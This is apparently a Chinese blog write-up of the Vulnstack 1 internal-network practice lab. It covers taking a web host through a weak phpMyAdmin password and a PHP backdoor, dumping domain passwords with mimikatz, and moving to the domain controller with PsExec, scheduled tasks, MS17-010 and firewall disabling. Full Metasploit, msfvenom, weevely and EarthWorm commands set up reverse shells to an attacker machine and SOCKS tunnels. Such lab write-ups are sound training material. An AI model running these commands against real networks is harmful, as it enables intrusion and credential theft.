Vulnstack内网靶场1

最近发现了一个内网的靶场网站,简单配置一下网络就可以,不用自己搭建这么麻烦漏洞信息 (qiyuanxuetang.net)

环境配置

内网1靶场由三台机器构成:WIN7、2008 server、2003 server

其中WIN7做为对外的web机,2008作为域控

WIN7添加一个网卡,一个设为仅主机,一个设为NET

2003、2008 设为仅主机

初始密码hongrisec@2019

信息收集

深入探测

80端口和3306端口 ,查看80端口

 一个phpstudy的探针界面,一般来说后台登陆界面就是phpmyadmin,扫了之后果然

 

直接弱口令root root尝试登陆,直接登陆上了后台 

 注意到里面有个叫newxycms的数据库,说明肯定还有其他网站,尝试了yx,newyxcms,yxcms得到子域名yxcms

 

一个小提示

进入后台之后,注意到了一个上传文件管理,但是我没有找到上传文件的地方

 然后看到了前台模板这边,发现可以更改php文件,将原来的php文件里的东西都删了,写入msf生成的木马,或者创建一个新的php代码写入msf代码(真实情况下还是创建好,后期清理痕迹的时候方便)

 但是改了之后发现一个问题,不知道这个文件的路径是什么,查了wp发现原来扫描的时候扫出来了一个rar网站备份文件,后来我换了一个字典扫也扫出来了,看来以后扫描信息泄露啥的还得换字典多扫几次。

 

 得到了备份文件,知道了文件的绝对路径,那就可以连接木马getshell了

 

GetShell

刚刚写入了msf的木马,使用msf连接木马

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lHOST 192.168.200.6
run

 访问文件路径

 但是这个shell效果不太好,输入了shell之后就卡住了然后自动断开了连接

然后查看了一下网上的,都是用蚁剑连接,没有人用msf,然后我就试了试weevely生成后门,然后写上去后连接 

weevely generate test test.php  //生成后门
weevely http://192.168.200.27/yxcms/protected/apps/default/view/default/door.php test  //连接

 然后使用cs连接weevely生成的shell 

 然后再使用cs反弹shell给msf Cobalt Strike - 1_Ry - 博客园 (cnblogs.com)

 

 getsystem提权

进程迁移,将shell迁移到稳定的进程中

 

内网信息收集

GOD域

输入shell进入系统,ipconfig查看网络,发现内网的ip,可以探测网段确定内网主机ip

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

共三台主机,其中143是已经被拿下的win7 

由于msf收集到很多信息是乱码,后续我用cs继续进行收集

在信息收集的时候会显示RPC错误,是DNS解析问题,解决方法在win7 hosts文件添加owa.god.org

确定域主机名,这里应该还有一个叫STU1的本机名,不知道为什么没显示出来

 

确定域控名

 确定主机名对应的ip地址(第二个ip地址是错的,但是排除法可以得到IP地址)

查看用户

 

拿到用户和ip地址之后,尝试抓取密码

这里可以通过msf中的mimikatz或者cs中的mimikatz抓取密码,比较幸运直接抓取到了明文密码

 

 

域内横向移动

接下来参考我之前学习的域横向知识,可以先建立ipc$连接,然后上传后门运行,也可以使用pstoos工具包中的PsExec。第一次进行域横向的实战,就每种方法都试一试

ipc连接

建立ipc连接

net use \\192.168.52.138\ipc$ "Admin111" /user:Administrator

net use 查看连接

 使用cs生成一个windows后门,接着将后门上传至win7

 接着通过win7将后门文件上传至域控主机上

shell copy c:\1.exe \\192.168.52.138\c$

确定目标主机时间

 

 使用at或者schtasks创建定时任务运行后门

at \\192.168.52.138 11:49 C:\1.exe
schtasks /create /s 192.168.52.138 /tn test /sc once /st 11:49 /tr C:\1.exe /ru system /f  

这里糊涂了,突然发现内网的机器不能直接连上攻击机,需要通过win7作为跳板

 

PsExec

pstools工具包中的psexec

msf上传

upload /root/PSTools/PsExec.exe C:/psexec.exe

PsExec.exe -accepteula -s \\192.168.52.138 cmd.exe

 但是这样还是无法连接远程主机,可能因为还是因为攻击机是外网,后来想到一个办法,创建一个.bat文件,上传到win7,再运行试试看,但还是不行

  

路由,端口转发

 获取目标机内网地址网段

run get_local_subnets 

通过background回到msf,使用route增加对应路由,4是sessions值

route add 192.168.52.0 255.255.255.0 4

 查看是否设置成功

这样msf就能扫描到内网的主机了

回到meterpreter会话,扫描52网段

run post/windows/gather/arp_scanner RHOSTS=192.168.52.0/24

 能扫出来 

试一试msf的psexec模块,直接获取system

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set SMBUser administrator
set SMBPass Admin111
run

 

再试试ms17_010_psexec无法攻击成功

use windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
run

 

 网上查了资料发现原来是防火墙的原因,看来这个方法暂时用不了

 

端口转发

端口转发可以让攻击机访问本来无法直接访问的目标主机。portfwd可以反弹单个端口到本地并且监听。

在meterpreter会话输入

portfwd add -l 9999 -r 192.168.200.27 -p 3389

-l 本地监听端口
-r 远程地址
-p 远程端口

 

 

3389图形操作

 在meterpreter会话开启3389端口

run getgui -e
run post/windows/manage/enable_rdp

 远程桌面连接

rdesktop 192.168.200.27:3389 

 这里应该要创建一个新的用户,不然直接登陆的话会挤掉别人的账户

 既然获取了域控的shell,这里直接执行刚刚不能成功的方法,直接获取到域控system权限,这里的话就可以直接使用命令关闭防火墙,然后再使用刚刚的msf中的ms17_010_psexec,获取域控权限

netsh advfirewall set allprofiles state off  

接下来换一种方法尝试反弹shell到kali

 

powercat

首先上传powercat

copy c:\powercat.ps1 \\192.168.52.138\c$

 导入powercat需要设置执行策略

但是又失败了,只要运行powershell那个域控的shell就会卡死,根本没法反弹

 

lcx

只能试一下lcx端口转发,但是lcx我也是第一次用

将lcx上传到win7上

重新制作一个木马,ip设置为win7的ip

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.143 LPORT=11111 -f exe > shell.exe

 上传到域控,开启监听,在win7运行lcx,将win7监听的端口转发到kali

lcx -slave 192.168.200.6 4555  192.168.52.143 11111

运行木马,也不行,可能是我用法不太对,害

 

socks代理

只能试试最后一种方法了socks代理

我用了两种工具一个是earthworm,还有一个是ProxyChains

首先将EW上传到win7上

在攻击机运行

./ew_for_linux64 -s rcsocks -l 1080 -e 4444

 这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口  

然后在win7运行

ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444

这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口

运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务了

接下来便可以打开第二台内网机器的远程桌面了,这里使用proxychains添加代理(KALI中自带)

输入打开proxychains进行编辑

vi /etc/proxychains4.conf

 首先将dynamic_chain前面的注释符#删除

 然后在底部改成内容 socks5 127.0.0.1 1080(图片打错了)

保存并退出,执行proxychains firefox,打开火狐,然后访问192.168.52.138(内网的网站),来看看是不是成功了

 可以看到访问成功了!并且可以看到数据在不停的交互

但是我又遇到了挫折,本来打算使用msf后门上传到域控主机,反弹shell到KALI,因为现在KALI已经可以连接到内网了,按理说应该也可以连接后门,但是上传了后门之后,发现怎么也连接不上,后来去洗澡的时候终于想通了,平时我使用的msf后门都是反向连接kali,而域控主机根本连接不到外网,所以没办法连接kali。(想到这里之后我才发现前面的代理什么的都是白费功夫,只要msf路由转发了之后就行了,但是也学到了内网代理的大概使用)所以现在使用msf的正向后门来连接域控主机

 创建一个正向后门,上传到域控

msfvenom -p windows/meterpreter/bind_tcp -f exe -o shell.exe

 msf使用监听模块

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 4444
run

 终于成功了!那这样的话一开始我尝试使用的后门也可以使用这个正向后门,闭合了。

  

cs中的psexec

cs因为有图形化界面操作比较简单

首先进行网段的扫描,确定存活主机

 这里需要建立SMB监听(因为192.168.52.0/24段不能直接连接到192.168.200.6(kali地址),所以需要CS派生smb beacon。让内网的主机连接到win7上。)

 之前已经使用mimikatz获取了密码,所以本地有保存,选择SMB监听器,选择会话

 成功上线

 接下来拿域控也是同样的方法

 

总结

这个内网靶机难度较低,渗透win7很容易,主要是内网部分,虽然说也不是很难,明文密码都能直接获取,但是第一次实战内网,还是遇到了许多困难,思路有点乱,内网信息收集的时候会不知道收集什么,需要反复查阅笔记,收集完信息之后也不知道怎么域横向了,也是查看笔记才想起来,但也算很多种域横向的方法都试了一遍,还是需要多多实战。还有上传后门的时候把目标主机搞得一团糟,这就造成了后期清理痕迹带来了很大的工作量,而且在实战环境下也更加容易被发现。但还是收获了很多。

 

写的有点乱,因为我的思路也不是很清晰,让大佬见笑了

posted @ 2021-10-07 20:18  1_Ry  阅读(623)  评论(0编辑  收藏  举报